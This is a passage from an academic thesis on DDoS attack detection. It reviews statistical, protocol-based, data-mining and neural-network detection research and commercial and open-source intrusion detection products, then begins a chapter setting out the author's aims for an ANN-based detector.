IP addresses and counts the number of packets to a specific destination. All packets that go 
through a particular switch device (mirror port) are considered to be duplicated and the event 
analyser detects and gathers them. In this approach four attributes of source-IP, port number, 
grouping and packet information are used to analyse the traffic. Packet information is used to 
count the accumulated size of packets that a sender has sent during a specific period of time. 
The binary packets are collected for different subnets and they are profiled and updated on a 
daily basis. Then the system calculates chi-square for each grouped profile (group i where i 
=0,1,2…12).‎ The‎ IP‎with‎ the‎ largest‎ amount‎ of‎ packets‎ is‎ ranked‎ number‎ one,‎ the‎ second‎
largest amount is ranked number two, and so on. The authors in [101] have introduced an 
interesting approach to detecting attacks. However, this approach is designed for internal local 
network infrastructure and not Wide Area Networks (WAN).  
Gupta and Joshi [77] have also proposed a statistical approach to detecting and characterising 
different types of DDoS attacks (low rate degrading, high rate disruptive and mixed rate) by 
monitoring the propagation of abrupt traffic changes inside an ISP Domain. The authors used 
volume and flow of traffic as parameters in their statistical metrics to obtain a normal traffic 
model of their system. The threshold values have been identified using Six-Sigma [173]. 
Inaccurate threshold values cause a large number of false positives and false negatives. NS-2 
[133] as a simulator is used to generate traffic and network topology. The authors compared 
their work with a Volume Based Approach (VBA) [20] using low rate (10 Mbps).  
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Chen [34], has modelled the arrival rates of packets by normal distribution. This paper focused 
on low and high rate attacks separately. The process begins by confirming normal distributed 
packets coupled with a maximum number of distributed packets to identify the genuine 
threshold that acts as a boundary between high and low numbers of packets. The author 
mostly focused on TCP attacks. Both papers [77] and [34] used a statistical approach to detect 
DDoS attacks based on certain thresholds. This means when the number of packets is greater 
than the identified threshold, the traffic is defined to be an attack. The downside of this design 
is that genuine and abnormal traffic are both considered threatening as soon as they go above 
the threshold and there is no mechanism to separate them. 
 DDoS Detection using Protocols and Infrastructure.    2.2.3
Some researchers used the existing protocols and network infrastructure to combat DDoS 
attacks. Greenhalgh, Handley and Huici [75], have introduced a Tunnelling approach to 
combat DDoS attacks in Internet Service Providers (ISP) [75]. The authors designated certain 
subnets of IP addresses as server subnets. These subnets are accommodating servers called 
server-net; conceptually they are within a protection boundary by control points. The authors 
propose encapsulation and packet filtration as their basic methodologies to protect any 
servers from possible DDoS attacks. When traffic is destined to server-nets, the packets are 
encapsulated in IP-in-IP packets [203] and de-capsulated by the de-capsulator. Each ISP 
must install one en-capsulator and many de-capsulators to cope with all the incoming and 
outgoing traffic. When an attack is launched to any servers of the server-net, the de-
capsulators know which en-capsulator is used to launch the attack. Knowing the right en-
capsulator, one can filter the packets that are forming the attack. This approach is easy to 
implement and provides good level of protection in an ISP environment, but it is fairly 
expensive to deploy and requires a high level of administration.  
Sardana and Joshi [187] have focused on third-line defence using honeypot routing and 
redirection. In this approach the attacking flows that are detected are directed to honeypots. 
The deployed honeypots are computer systems across the network that attract DDoS attacks, 
so that network administrators can trap the attackers and understand the most up to date 
attacks. This means the attackers can take advantage of these honeypots and use them as 
zombies or clients to launch attacks. However, if the attackers are not aware of these zombies 
as traps, the administrator can minimise the attack and understand more about them. 
Trapping attack flow is an interesting approach, but the authors have not explained how a high 
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Some other researchers considered different approaches to mitigating DDoS attacks. 
Makhlouf, Boudriga and Obaidat [112], have introduced a detection mechanism via a wireless 
network. They introduced a tool that analyses radio-based DDoS attacks (radio-supervisors) 
coupled with a cooperate environment (based on metric analysis) to share information when 
an attack is detected. The supervision of the detection mechanism is based on anomaly 
detection [92]. This means the system compares signal characteristic features with a 
predefined profile using signal-based metrics (frequency of the signal > amplitude of the signal 
> threshold). Such an approach allows the system to detect DDoS attacks based on a 
signalling mechanism and not packet information. Detecting DDoS attacks based on signals is 
a good approach from the wireless point of view. However, this approach does not overcome 
the DDoS attacks in a wired environment where the majority of attacks occur [9][162]. One can 
deploy this approach in a wireless environment to reduce a DDoS attack within the wireless 
range. However, [129] shows that deploying DDoS attacks on the wireless network can disturb 
the detection process and its traffic.  
Zhang and Parashar [248], have introduced cooperative defence against DDoS attacks. They 
have proposed to install defence nodes at the egress of each routing device in any AS system. 
Most of the existing Intrusion Detection Systems (IDS) produce traffic statistics based on 
captured packets. The authors use such mechanisms to keep the statistics of the captured 
packets with the highest number of destination IP addresses. Then a sample-and-hold 
algorithm is used to let the local detection nodes keep track of destinations whose traffic 
occupies greater than a fraction of the capacity C of the outgoing link. Once the attack is 
detected on any individual node, the information is shared between the nodes via the Gossip 
Protocol [194]. Then countermeasures are put in place by adjusting the rate limit on each node 
to reduce the strength of the attacks. This approach is well considered in terms of cooperation 
between distributed devices to reduce the strength of an attack. However, Keidar and Sasson 
[15] have shown in their work that the gossip protocol can be vulnerable to DDoS attacks on a 
small subset of devices. They have introduced a methodology to expose and reduce the 
damage of DDoS attack on Gossip base multi-cast. Meanwhile Birman, [23] has published a 
paper that identifies Gossip protocol limitation. 
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Saad, Abdesselam and Serhrouchni [183], have introduced a peer-to-peer mechanism 
coupled with a Distributed Hashing Table (DHT) [249] to share information between the peers 
when an attack is detected. Peer-to-peer networks have gained popularity on large scales in 
terms of sharing information. The authors proposed the use of a DHT that can efficiently route 
resource information on the victims and share data about the attacks among the peers. 
According to the authors such a scheme is more flexible and can scale to a very large number 
of peers, exchanging control messages, without introducing additional overhead to the system. 
The paper [183] is interesting from the conceptual point of view. However, Sit and Morris [206] 
have published a paper concerning security issues that face peer-to-peer and distributed hash 
tables giving drawings and examples. Moreover, peer-to-peer DDoS attack has become 
popular among the attackers as explained in Chapter 1 Section 1.7. 
 DDoS Detection Based on Data Mining Algorithms 2.2.4
Researchers have also considered data mining algorithms to increase the accuracy of the 
detection mechanisms. It is worth mentioning here that most researchers reviewed in this 
section have not provided enough information about the characteristic features (patterns) used 
in their training processes. However, we have emphasised such information where applicable 
and when provided by respective researchers.  
The authors in [239], have focused on using a decision tree (C4.5) [127] technique to detect 
attacks that are related to layer 3 and 4 of OSI 7-layers model (Chapter 1, Section 1.3). Their 
approach of detection is based on a pattern matching procedure to identify a flow of traffic that 
is similar to attack flow. The detection process is based on a base-line traffic profile from 
normal traffic. Attacks are flagged up whenever traffic is detected to be above the base-line. 
The authors adopted decision tree classification (C4.5) to classify the network traffic. A 
decision tree consists of leaf nodes representing classes and non-leaf nodes that specify tests 
to be carried out on a particular attribute. The overall system consists of two parts; one is 
called protection agent (deployed at the victim side) and sentinels (deployed on the router 
side). The protection agent, which is considered to be the control centre, consists of a packet 
aggregator (to aggregate the traffic signature), a message manager (to handle the 
communication between the agents and the sentinels), a detection module (decision tree and 
rules) and a trace-back module (source of the attack).  As for the sentinel, it collects packets to 
be transformed into traffic signature. When a signature command is issued by the proposed 
system the message manager would identify the attack type in the command and perform 
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Ramamoorthi, Subbulakshmi and Shalinie [174], have introduced a DDoS detection 
mechanism using Enhanced Support Vector Machine (ESVM) with string Kernels [43] [82] 
[145]. In this paper the authors also cover DDoS attacks that cover Network and Application 
layers of OSI 7-layers model (Chapter 1, Section 1.3) where ESVM and string Kernels are 
used to classify normal traffic from abnormal traffic. The approach consists of profile creation, 
data pre-processing (cleaning datasets from unwanted values), attack classification systems 
and attack response. To begin with, normal data were collected from users (linear process) 
and attacks are generated (irregular) process. Then the packets are pre-processed according 
to session rates, time viewing, number of packets and protocols (these parameters are used 
as input integers). These values are used for the purpose of training the algorithm. Static 
threshold has been used to indicate the input integers that are greater than X value at which 
the algorithm activates to detect any attacks based on the training processed. ESVM classifies 
the attack traffic from normal traffic using Kernel functions such as linear, polynomial, radial 
basis Kernel functions and string Kernels [11] [39] [145] [43]. Then an IP filtering mechanism is 
used when attacks are detected by the system to minimise the attacks. The authors have 
identified methods of separating genuine traffic form abnormal traffic based on protocols, but 
no indication to detect zero-day attacks.  
Xu, Wei and Zhang [242] believe that Support Vector Machine (SVM) [145] [43] is a promising 
approach to detecting DDoS attacks, but its performance can be affected by its design. 
According to [242], two problems need to be addressed when it comes to SVM. One is high 
dimensional and redundancy of input data while the second is limited SVM processing 
capacity. To improve such a legacy, the paper [242] suggests a new method based on Kernel 
Principal Component Analysis (KPCA) [191] and Particle Swarm Optimization (PSO)- SVM 
[90]. PSO is used to optimise the SVM parameters establishing an SVM detection model with 
good generalisation performance while KPCA is used for the purpose of selecting the features 
and preserving the nonlinear structures of the feature space. This paper provides an 
interesting approach of using KPCA-PSO-SVM with high accuracy of detection; but yet again 
the authors did not evaluate their work against zero-day attacks.  
Other approaches which use data mining include [108], which used a fuzzy class association 
rule mining method based on genetic network programming (GNP) for detecting network 
intrusions including DDoS detection [79] [106]. These combined approaches can handle mixed 
datasets of discrete and continuous attributes. The authors believe that such an approach has 
been applied quite well in the recent years. As part of their experiment, the proposed solution 
has been analysed with Cross Industry Standard Process for Data Mining (CRISP) [235] and 
the result showed the value of fuzzy membership into GNP. This approach deployed as 
detection classifier for misuse detection and anomaly detection. Then the results were 
confirmed using KDD99 [50] and DARPA98 datasets [51]. In this work GNP with fuzzy data 
mining is compared with CRISP data mining, and the result clarifies the necessity to introduce 
fuzzy membership functions into GNP-based data mining.  
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Lui and Cheung [105], have introduced an adaptive Network Intrusion Detection System 
(NIDS) based on various data mining techniques. The authors have used one engine to 
deploy all the attacks. However, this solution is constructed by a number of agents where the 
data mining algorithms (clustering, association and sequential association) [79] are deployed 
on five different agents. After training with different traffic for network behaviour, when a new 
type of attack comes, the proposed system can detect such an anomaly by distinguishing it 
from normal traffic. The solution consists of three modules, feature extractor, detection agents 
and agent trainers. The feature extractor module is used to extract the features of the data that 
can be used for training and the detection process. The extracted features from the datasets 
are used in the detection engine to train the algorithms (clustering, association rules and 
sequential association rules) [79] or detecting attacks. Then for a detection agent, there will be 
a corresponding trainer that is created for updating the agent in an adaptive manner. 
Panda and Patra [149], have conducted a comparative study to explore the behaviour of 
supervised learning algorithms (particularly decision trees based on ID3, J48, and Naïve 
Bayes) [79] in detecting different attacks. In their work they used classification algorithms 
based on decision trees and Naïve Bayes analysis. When it comes to decision trees, it covers 
ID3 [55], which evolved from C4.5  [79] while J48 [127] is the enhanced version of C4.5. The 
algorithms have been in cross validation against datasets. The results of the experiments 
show that Naïve Bayes model is quite appealing because of its simplicity, elegancy, 
robustness and effectiveness. However, the authors also show that there is no single 
algorithm that performs best in all situations. Panda and Patra have admitted that zero day 
attack [148] detection is considered in their future research and is not included. However, they 
have provided interesting results in the form of Receiver Operating Characteristic (ROC) 
curves [236]. 
Wang and Gombault [232], have used similar approaches as in [149] using C4.5 and Bayesian 
algorithms to detect attacks based on attributes. The authors used nine different attributes as 
input values to train and detect various attacks. The process was executed using Information 
Gain (IG) [57] to extract the attributes and chi-square statistics [76] to rank the attributes and 
introduce detection accuracy. The type of attributes that have been chosen by the authors 
are,dst_host_count,dst_host_srv_diff_host_rate,dst_host_srv_count,src_bytes,srv_count,srv_
diff_host_rate ,count, dst_host_srv_serror_rate and service. The authors tested their work with 
different patterns, one set was nine attributes and the other set was forty one attributes. The 
comparison was based on CPU performance. The result showed that nine attribute executions 
was faster than forty one attribute execution. The empirical results also show that using a 
smaller set of attributes largely reduces the time required for attribute construction, models 
training as well as DDoS attack detection. This paper [232] is an interesting work, but the 
authors have implemented and tested their solution in off-line mode (not real time), which they 
have indicated in their paper. 
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Sinapiromsaran and Techaval [204], have also used a multi-attribute frame decision tree to 
detect attacks. They propose a new algorithm to introduce a better decision tree by taking all 
attributes in a time frame. This has been achieved by creating a core vector from a pair of 
records having the furthest distance. Then the core vector is used to partition the dataset into 
three regions (left, middle and right). Left and right contain records of unique class while the 
middle region contain mixed types of records, which are then partitioned using entropy [79] 
and IG [57]. This method is repeated until the termination criteria are met. The experiments 
were based on a set of datasets that are assumed of the distance computation required 
numeric scales (only continuous attributes are maintained). This means all the reparative 
attributes are grouped together and counted with a number of counts. After that, all intrusions 
types are labelled as positive instances and normal access as negative instances. Based on 
their experiments, the authors believe that their tests can detect any possible attacks. The 
authors also explained the weakness of the algorithm in dealing with outliers [204]. If the pole 
is selected as one of the outliers, the partitioning process is not going to be as expected. The 
authors believe that the solution works based on datasets that are provided by KDD Cup 1999 
[50] that does not contain any extreme values and the number of outliers will be minimal. On 
the other hand, the datasets that have been used in this paper are relatively old and do not 
cover new approaches or all attacks. 
Other researchers have used Artificial Neural Networks (ANN) to detect DDoS attacks in 
different ranges and methodologies. Neural Networks is an advanced artificial intelligence 
approach that is used for various detecting purposes. The authors in [84] have used Artificial 
Neural Networks (ANN) to detect DDoS attacks where they introduced an examination table 
with different algorithms and compared the results based on levels of detection (decision tree, 
entropy and Bayesian) [127]. The defending mechanism is operated using the Turing Test 
(TT) [227] coupled with neural network algorithm. The proposed solution identifies users 
requests or demand to a specific resource and their communicative data. Then samples of 
such requests are sent to the neural network detection systems to be judged for abnormalities. 
In this model the proposers suggest that the Turing Test works by interacting with the users 
and judges their identity and what they normally use. In this way, the authors can judge 
whether the sources of demand are legal users or not, aiming at rejecting the illegal ones. In 
other words, if the demand to any applied resources on the server side was from a human, 
then the system treats the request as genuine otherwise the request is from a machine and 
considered illegal. The Turing system decides the real identification of users by examining the 
abilities of judging characters, charts, semantic meaning, logic analysis, picture management 
and self-consciousness. This can be achieved by using Network Driver Interface Specification 
(NDIS) [124] that hooks all the data into a server where users are identified based on their IP, 
MAC addresses and certifications that correspond to the trusting level. In this paper TT is used 
to judge DDoS attacks while neural network is used to examine DDoS detection.  
 
- 61 - 
 
Radial basis function neural network [79] [115] has also been used to run the examination by 
selecting three evaluating indexes to the fixed requirements. Then by comparing the 
evaluating indexes, the proposed solution makes judgments and tests the DDoS attacks. The 
authors have examined their approach under different DDoS attacks and their system can 
make varied, but generally good response to attack (examination of attacks with low resource 
consumed and high accuracy defended). The authors compared DDoS detection with 
Bayesian, Entropy, Decision tree and Neural Network and expectedly, Neural Network 
produced higher detection rate, low false alarm for known and unknown attacks. 
Other authors have introduced an early warning detection approach based on multilayer 
deployment of time delay neural networks. Chang-Lung and Ming-Szu [226] have introduced 
such an approach. A Time-delay neural network (TDNN) [36] is a neural network where the 
time factor is hidden inside the signal with implicit representation. In the proposed solution, the 
authors introduced different combined modules that are used during the multilayer defence 
system. Modules that are part of the systems are, sync cookie module (defence against SYN 
flood), multilayer defence system (rule or IP base defence), sniffer module (online sniffing), 
flow control module (control flow of data), black list module (black list attacks), flexible 
schedule (provides scheduling mechanism) and expert module (to represent the results). The 
architecture of this solution is based on central management with distributed agents. Each 
agent is attached with a sensor that collects associate information from the network. Then the 
information will be sent to the central management location for the purpose of analysis. This 
approach is interesting in terms of collecting data from different locations and sending them to 
a central point for analysis. However, the attacker can launch different DDoS attacks on the 
actual central management server. Such architecture can introduce a single point of failure. 
Li, Liu and Gu [102], have used a Learning Vector Quantisation (LVQ) neural network to 
detect different attacks. An LVQ neural network [189] is a supervised version of quantisation, 
which can be used for pattern recognition, multi-class classification and data compression 
tasks. The datasets that have been used in the experiments consist of numeric and symbolic 
features, which have been converted to numeric form so that they can be given as inputs to 
the neural network. The process consists of data collection, pre-processing datasets, 
determining the LVQ neural network, training system and test the result. The symbolic were 
replaced with specific numeric, comma with semicolon, normal with 0 and attack with 1. The 
parameters used to train the algorithm are CPU usage; Memory usage; System time; TCP 
connections; Network sent bytes; Network receive bytes and TCP connections Passive. This 
approach is good and provides good detection rates, but no indication of how genuine traffic is 
separated from attacks. However, the authors admit that their approach requires to be further 
improved by lowering the error rates, increasing learning process and speeding-up detection.  
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Akilandeswari and Shalinie [2] have introduced Probabilistic Neural Network [210] Based 
Attack Traffic Classification to detect different DDoS attacks. The authors focused on how one 
can separate a Flash Crowd Event (high volume of normal traffic) from DDoS attacks. Radial 
Basis Function Neural Network (RBFNN) is used for the classification of DDoS attack traffic 
and normal traffic. The training attributes that have been used consist of source-IP, Time-to-
Live, Flow duration, Flow per Time Interval, Packet Size, Number of packets per flow and 
Unique IP address per Time Interval. The authors used the terms legal pattern to deploy their 
experiments of three classification datasets. The first set of datasets was tested with a 
probability of 0.5 (3000 samples for training and 3145 for testing patterns) while the second 
dataset has a probability of 0.7 with 5000 patterns for training and 2340 patterns for testing. 
The third datasets are the attack profile gathered for the purpose of the experiments. To avoid 
spoofed IP addresses, the authors compared Time-to-Live of value and Source IP Prefix from 
collected attack dataset. Any identified spoofed IP addresses are blocked before any data is 
piped to the Probabilistic Neural Network. As part of their experiments, the process of 
detecting TCP SYN and ICMP attacks are higher than UDP.  
Other researchers have used ANN to detect attacks as part of their research. Siaterlis and 
Maglaris [201] have experimented with a single set of network characteristics to detect 
attacks. The authors use Multi-Layer Perceptron (MLP) [79] [127] algorithm where the inputs 
are metrics coming from different passive measurements that are available in a network. This 
is coupled with traffic that is generated by the experimenters themselves. The authors use a 
machine learning approach to avoid magic numbers and site dependent thresholds [118] that 
would demand great investment in terms of installation and customisation. Having said that, 
the authors of this work agree that a single metric does not provide a reliable decision due to 
DDoS´s complexity and architecture. Hence, a combination of several metrics values has 
been used as part of their research. A tool has been implemented which collects all the data 
from the network to calculate metrics values. These are flow length (distribution of the number 
of packets in a flow per protocol), flow duration (duration of a flow in a router’s‎cache)‎and‎flow‎
generation rate. As part of the neural network configuration, the authors have chosen non-
linear activation functions (e.g. Sigmoid) [64] [127] in the neural nodes with three layers (an 
input, a hidden and an output layer). There are indications of Detection Accuracy rates in the 
paper [201], but no figures or comparisons with other related work have been mentioned. 
However, the authors believe that their approach opens new direction metrics where multiple 
detections with small computation processes are easy to achieve.  
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The authors in [78] have used neural networks to detect the number of zombies that have 
been involved with DDoS attacks. The objective of their work is to identify the relationship 
between the zombies and attack deviation in sample entropy [79]. The process workload is 
based on prediction using a feed-forward neural network [79] [127] [153]. To train the 
algorithm, the authors have used NS-2 simulator [133] to generate the traffic within the 
network. Then data are collected, prepressed and normalised to be used as input values for 
the input layers. The traffic volume is used as a baseline to determine the input values by 
considering the strength of the traffic. According to the researchers of this paper the volume 
increases within the capacity of 25 Mbps for every 5 new zombies adding to the network. 
These values are used as input values to determine the training process of the attack. The 
performance of this work has been evaluated using Mean Squared Error (MSE) [130]. The 
best result that can be obtained here is when the output is close to zero. The authors [78] 
explained in their report that two layer feed forward networks of size 5, 10 and 15 have shown 
maximum MSE of 2.91, 2.59 and 3.14 respectively in predicting the number of zombies. 
However, these experiments are deployed using simulators and the results have not yet been 
tested against real world cases.  
Bukhtoyarov and Semenkin [26] assume that agents (simple neural network classifiers) are in 
each computer that acts as intrusion detection system. However, this approach is primarily 
based on neural network ensemble where trained neural networks are joined together to 
detect an attack. The authors believe that the generalisation ability of a neural network system 
can be improved by the cooperation of a number of component neural networks, which form 
an ensemble. This proposed solution approach is designed to cover different possible attack 
networks (application to physical attacks). The same researchers verify their approach of 
using neural networks to be the most accurate in detecting attacks by introducing a 
comparison table. Such an approach is compared with Ensemble fuzzy classifier approach, 
Fuzzy classifier Bayes approach and Random subspaces approach [127] [106]. However, this 
approach detects different attacks based on allocating a baseline threshold. This means, 
information will be subject to analysis when values are greater than their allocated threshold. 
The authors of this paper agree that this proposed solution is not feasible in a large enterprise 
solution due to high traffic. However, this solution can be further improved to use it for solving 
modern large-scale problems.  
Nogueira, Salvador and Blessa [140] have introduced Botnet detection based on Neural 
Networks by collecting flow statistics (packet sizes and number of packets passing through a 
network subnet). This provides known and unknown traffic corresponding to licit and illicit 
applications (genuine and forged applications). The detection scheme is based on historical 
profiling provided by each application during data collection. The Neural Network is trained 
using genuine and identified traffic profiles. Then the trained model is used to identify the new 
traffic profile that is presented as inputs. The traffic data is captured using probes that are 
strategically located on the network.  
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Performance tests were conducted and the identification results obtained, using several IP 
applications and security attacks, show that the proposed approach is able to achieve high 
identification percentages. The outcome of the research was a framework called Botnet 
Security System (BoNeSSy). It includes core functionalities coupled with a database, 
hardware and operating systems and functionalities that were developed on top of the base 
part, mainly the graphical user interface (GUI) and extra functionalities that are provided for 
adaptation purposes (plug-ins or add-ons) in order to support new threads. A GUI interface is 
provided for a non-technical person to see the results. The authors have provided an 
interesting approach when it comes to creating a framework that can be used by developers 
and technical people. However, in their paper [140] the authors have not shown any indication 
of zero day attack detection yet their implemented framework can provide features to separate 
known from unknown traffic.  
Wu and Chen [240] used Chaos theory and Back Propagation Neural Networks [79] [127] to 
improve the DDoS detection algorithm in Network Anomaly Detection Algorithm (NADA). The 
authors began their work by using the Lyapunov exponent to validate the chaos hypothesis. 
After that the authors predicted the network traffic by using an exponential smoothing model 
instead of the forecasting method used in NADA. Then they analysed the prediction error by 
using chaos theory and a Back Propagation Neural Network. The authors claimed 
improvement in Detection Accuracy by decreasing in false alarm rate.  
After investigating and analysing the related work and research, we summarised and 
compared the results and common features provided by each paper in Table 2-1. This 
includes Detection Accuracy, True Positive rate (TPR) known as Recall, Detection Rate (DR) 
or Sensitivity and False Positive Rate (FPR) also known as False Alarm Rate (FAR). We also 
compared all the related approaches with respect to Precision and Specificity (see Chapter 3 
for details). However, not all the above research has provided FPR, Detection Accuracy, 
Sensitivity or Precision values or figures in their papers. 
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Table  2-1: Summary of related academic research. 
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2.3 Commercial and Open Source Solutions 
In Section 2.2 we identified different approaches and mechanisms introduced by the academic 
research community. Open source communities, commercial and software companies have 
also introduced approaches and mechanisms to reduce the strength of DDoS attacks. The 
technical descriptions of most commercial approaches are designed for the purposes of 
marketing and calling customers, leaving out the academic descriptions such as Detection 
Accuracy, Precision, Sensitivity or False Alarm Rates. Due to cost, licensing and copyright, 
commercial solutions cannot be extensively examined or evaluated yet they can be studied 
based on their applicable or available white papers. However, one can examine the existing 
open source solutions such as Snort [179] or OSSEC [49], and identify their strengths and 
weaknesses. The following are some of the commercial and open source solutions that are 
used nowadays in private and public sectors against security threats including DDoS attacks.  
 CISCO Systems 2.3.1
The Californian Network equipment company CISCO is known for its network devices (routers 
and switches), software, physical layer devices and security applications [24]. CISCO takes 
DDoS attacks seriously since traffic passes through their devices in a typical Wide Area 
Network (WAN). Therefore, the company is committed to introducing new approaches to 
minimise DDoS strength.  Among CISCO´s interesting solutions to mitigate DDoS attacks is 
the Cisco Traffic Anomaly Detector (TAD) XT and the Cisco Guard XT - together CISCO 
claims to provide complete DDoS protection for virtually any environment [28]. TAD-XT 
searches for any deviation from normal or baseline behaviour that indicates a DDoS attack. 
For example rate of UDP packets from a single source IP is out of range, even if the number 
of packets have not exceeded thresholds. Cisco Guard XT, provides protection without 
disturbing the traffic flow of other systems. The defence solution is based on a patent-pending 
Multi-Verification Process (MVP) that is designed to separate normal from abnormal traffic. 
The solution consists of filtering, verification, anomaly recognition, protocol analysis and rate 
limiting. Unfortunately this solution is rather costly and could not be tested in our test lab to 
compare it to our solution. Further, no publications or white papers provide Detection Accuracy 
figures for comparison.  
 F5 Networks  2.3.2
F5 Networks [63] is known for its network based application and security solutions for medium 
and large organisations. F5 products are mostly used as the edge device between a 
company’s‎ network‎ and‎ the‎ Internet.‎ In‎ their‎ solution,‎ F5‎ built‎ technology‎ that‎ is‎ used‎ to‎
overcome all related flood attacks [80]. Their detection mechanisms are mostly based on 
statistics and signature based where characteristic behaviours with respect DDoS attacks are 
known.  
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The mitigation process is based on a packet filtering mechanism where packets are dropped 
based on F5´s detection outcome. Unfortunately, due to cost and deficiencies of publications 
with regards to Detection Accuracy, we could not compare F5 with our solution, described in 
Chapter 7.  
 Checkpoint Software 2.3.3
Checkpoint [199] is designed to combine hardware and software in one solution to combat 
cyber security threats. This product is known for its data security and management solution 
coupled with a solution known as checkpoint DDoS protector [32]. The product provides the 
complete solution of detection, protection and event management. It is designed to protect the 
victim from DDoS attacks while allowing genuine packets untouched. The defence system is 
based on black listing the known attacks before reaching the target. Using SNMP protocol 
[29], the solution can also troubleshoot the attached devices and run basic tests to check 
basic security checks. Checkpoint products are popular, but expensive. We could not test it in 
our test lab or evaluate it against our solution, due to its high cost.  
 Snort  2.3.4
Snort [179] is the most popular open source signature based Intrusion Detection System 
(IDS). It is widely used by medium and large organisations to protect their networks and 
applications from any possible cyber-attacks. Snort is designed to retrieve different types of 
packets from the network and search for abnormalities based on stored signatures. The 
signatures are rules that trigger Snort to take action when abnormalities are detected in the 
network. The rules are tested and verified by a Vulnerability Research Team (VRT) that tests 
and verifies different attacks that are identified by individuals, other research groups or indeed 
VRT itself. Snort´s engine is based on TcpDump using Libpcap libraries [221] that provide a 
packet capturing mechanism. It can be used to connect to different detectors (agents) in 
different locations on the network and to retrieve traffic to make appropriate decisions based 
on its signatures. It also allows individuals to write their own signature that satisfies the 
individual´s requirements. Since Snort is open source, its source code is widely available for 
reuse and modification. In addition, one can‎ write‎ one’s‎ own‎ plug-in and integrate it with 
Snort´s engine to detect attacks based on non-signature rules. Such a mechanism helps 
researchers to focus on the detection mechanism and leave the process of striping and 
decoding packets for the Snort engine. It also provides the right configuration settings to 
integrate with firewalls such as iptables [6]. Due to its availability, we have used Snort as the 
signature based intrusion detection system to compare to our solution (see Chapter 7).   
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 OSSEC  2.3.5
OSSEC [49] is an open source host based Intrusion Detection System that is designed to flag 
up abnormalities when changes occur within individual devices. The solution is particularly 
good when a host has subjected to a known DDoS attack. OSSEC is signature based to all 
known attacks where users can change and apply their own rules whenever desired. During 
the installation, OSSEC gives an option to include iptables [6] to block packets when attacks 
are detected. Otherwise, the system only acts as alerting software considering that all 
signatures and rules are activated. OSSEC also provides a centralised yet simplified 
management server to manage rules and policies across other agents in the network. This 
product is mainly used as a host Intrusion Detection System and not in large networks and 
therefore we have not compared the outcome of our work with OSSEC.  
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2.4 Summary 
In Chapter 2 we identified and explained relevant work introduced by academic and non-
academic researchers. Some researchers focused on traceability using packet-marking 
mechanisms while others covered detection and mitigation using architectural structure, 
statistics and/or data mining approaches. We learned that authors who focused on DDoS 
traceability did not fully cover mitigation, zero day detection or traffic separation. Some related 
academic researchers focused on accuracy, detection rate, mitigation processes and false 
positive/negative rates. However, the figures vary among the papers based on their approach 
and the conditions in which their experiments were executed. The detection mechanisms of 
most of the papers were based on known attacks, overlooking unknown attacks. Some papers 
touched on separating abnormal from genuine traffic, but no Detection Accuracy values have 
been shown. The papers are tabulated based on Accuracy, Detection Rate, Sensitivity, 
Precision and Specificity. Most academic papers introduced in this chapter do not use a 
physical environment to detect and test against DDoS attacks; instead the experiments are 
conducted using simulators. This chapter concludes with commercial and open source 
solutions and their contributions to preventing DDoS attacks. The learning process of this 
chapter is used to compare the outcome of our work with relevant papers, as explained in 
Chapter 7. Furthermore, our background research presented in this chapter assisted us in 
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Chapter 3  – Aims and Objectives  
3.1 Introduction  
As discussed in Chapter 2, the aim of many researchers has been to reduce or minimise the 
strength of DDoS by introducing various approaches and mechanisms. Some have focussed 
on traceability (discovering the source of the attacks), while others have focused on detection 
and mitigation of the attacks using mathematical, statistical or algorithmic approaches to 
increase the detection rate, albeit in most cases only by the smallest amount. As members of 
this community of researchers, we share the same general aims and objectives. However, our 
primary focus is to detect and mitigate known and unknown (zero-day) attacks using an 
Artificial Neural Network (ANN) algorithm and packet filtering mechanism before DDoS attacks 
reach the victim. We compare our final results with other related approaches and mechanisms 
to highlight our contribution (see Chapter 7). The comparisons are based on Detection 
Accuracy, Sensitivity, Specificity, Precision and False Positive rates [14] [70] [229] (see 
Section 3.3). In this chapter, we briefly review the most related work and introduce our aims 
and contributions in detail and explain the differences and similarities between approaches 
reviewed in Chapter 2 and our desired solution where applicable. In so doing, we justify our 
reasoning for choosing ANN as our approach for detecting TCP, UDP and ICMP DDoS 
attacks.  We also explain our choice of selecting network and transport (ICMP, UDP and TCP) 
DDoS attacks as our primary focus for this research. However, selecting relevant technologies 
that assist the implementation process of our solution are described in Chapters 1 and 6. To 
avoid technical confusion and for the purpose of simplicity we call our solution a DDoS 
Detector. Such detectors are deployed between different networks to independently and 
cooperatively detect and mitigate DDoS attacks when applicable. 
3.2 Summary of Related Work  
The main aim and objective of many related research is to detect and mitigate DDoS attacks. 
However, the degree and rate of the detection varies from one approach to another depending 
on the algorithm and environment used. In Chapter 2, we reviewed many related academic 
research work and tabulated it in Table 2-1. We learned that not all the papers described in 
Chapter 2, cover the following key objectives (limitations of other related approaches). 
 Detect known and unknown DDoS attacks as opposed to detecting known attacks in 
real time. 
 Detect low and high rate DDoS attacks. 
 Prevent attacking (forged) packets from reaching the target while allowing genuine 
packets to pass through as opposed to periodically dropping all packets forwarded to 
the victim when a threat is detected. 
 Use a real physical environment as opposed to a simulation to extract patterns, and 
implement and test the solution. 
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 Reduce the strength of the attack before it reaches the victim (early mitigation) as 
opposed to nearby detection systems. 
 Communicate and share information to assist the detection process when required. 
 Calculate Detection Accuracy, Sensitivity, Specificity, Precision and False Positive 
rates to verify the contribution. 
 
We further grouped all the related academic work from Chapter 2 and tabulated it in Table 3-1. 
We identified that such approaches used simulators and/or old datasets to execute, build and 
test their DDoS detection mechanisms. We, on the other hand, aim to build our solution based 
on real life environments and consider all the above points into one solution to assist the 
detection and mitigation process. Then we compare the outcome of our approach with 
signature based detection system and other academic related work described in Chapter 2 
(see Section 3.3). The comparison is based on Detection Accuracy, True Positive Rate (TPR) 
known as Recall, Detection Rate (DR) or Sensitivity, False Positive Rate (FPR) also known as 
False Alarm Rate (FAR), Precision and Specificity. Traceability of DDoS attacks is not within 
the scope of our research and the outcome of our work will not be compared with DDoS 
traceability approaches. This is because more research is required to cover the detection and 
mitigation of unknown and known DDoS attacks as opposed to their sources. Furthermore, 
knowing the source of the attack might not necessarily minimise the effects of a DDoS attack, 
because the attacker can change the route of the DDoS attack. However, learning about 
DDoS traceability as shown in Chapter 2 provided a different angle to approach the problem of 
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Table  3-1: Related papers with common research investigation. 
 
Some authors in Table 3-1 mentioned accuracy or detection rates, but no figures have been provided to support their claims (see 
Table 2-1, Chapter 2 for detail). For example papers [242], [226], [84], [140], [232] and [105] claimed accuracy without providing 
values or figures. Also, papers [84], [187], [112], [34], [248], [84], [112] and [30] claimed TPR, FAR or FPR, but no statistical figures 
support their claims. We however, only consider the research papers that are relevant to our work and provide values of Detection 
